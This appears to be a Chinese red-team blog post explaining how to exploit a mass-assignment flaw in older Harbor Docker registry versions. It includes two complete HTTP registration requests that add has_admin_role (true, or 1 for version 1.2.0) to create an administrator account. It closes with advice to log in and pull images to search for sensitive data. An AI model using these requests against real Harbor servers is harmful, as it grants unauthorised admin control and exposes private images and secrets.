hvv-harbor低版本利用

在攻防中,遇到直接拿poc怼,结果返回json有问题,注册失败?
网上大部分poc都是直接上has_admin_role":true,但在低版本中,user结构体中是int值,所以poc为:has_admin_role":1

什么是harbor

先了解一下harbor:Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器,通过添加一些企业必需的功能特性,例如安全、标识和管理等,扩展了开源Docker Distribution。

作为一个企业级私有Registry服务器,Harbor提供了更好的性能和安全。提升用户使用Registry构建和运行环境传输镜像的效率。

影响范围

Harbor1.7.6之前版本和Harbor1.8.3之前版本

高版本漏洞

  • 注册时加has_admin_role":true

Post 注册,抓包,post内容加上

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/users HTTP/1.1
Host: 127.0.0.1
Content-Length: 131
Accept: application/json
Origin: http://127.0.0.1
User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14
Content-Type: application/json
Referer: http://127.0.0.1/harbor/sign-in
Accept-Language: zh-CN,zh;q=0.9
Cookie: sid=5bb9aad90164bd2ed5274edaf20f9c81
Connection: close

{"username":"mrhonest","email":"impdx@qq.com","realname":"mrhonest","password":"111111Aaa","comment":"11111","has_admin_role":true}

低版本harbor 任意管理

  • 在hvv中发现poc返回有问题,版本为1.2.0
  • 翻github,1.2.0为之前发布的版本,我们直接看源码分析

想一下为什么会有这个漏洞,无非是Post请求包中的has_admin_role值被接受了,没有经过校验。

  • 那我们直接找hasadminrole,直接找user结构体(go中结构体和java的类相似)里面有啥,有啥值。

哎?我们发现他居然不是boolean值,而是int值。那么我们想一下,在语言中,如果判断一个值为真假,就像C没boolean,那int=1就是真,所以我们把poc稍做修改

poc

注册之后抓包,添加"has_admin_role":1,不要直接用下面的,因为cookie不一样,建议抓包修改添加"has_admin_role":1

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/users HTTP/1.1
Host: 127.0.0.1
Content-Length: 131
Accept: application/json
Origin: http://127.0.0.1
User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14
Content-Type: application/json
Referer: http://127.0.0.1/harbor/sign-in
Accept-Language: zh-CN,zh;q=0.9
Cookie: sid=5bb9aad90164bd2ed5274edaf20f9c81
Connection: close

{"username":"mrhonest","email":"impdx@qq.com","realname":"mrhonest","password":"111111Aaa","comment":"11111","has_admin_role":1}

ok,任意用户注册成功。

利用点:可以先docker login进去,pull下docker环境找敏感信息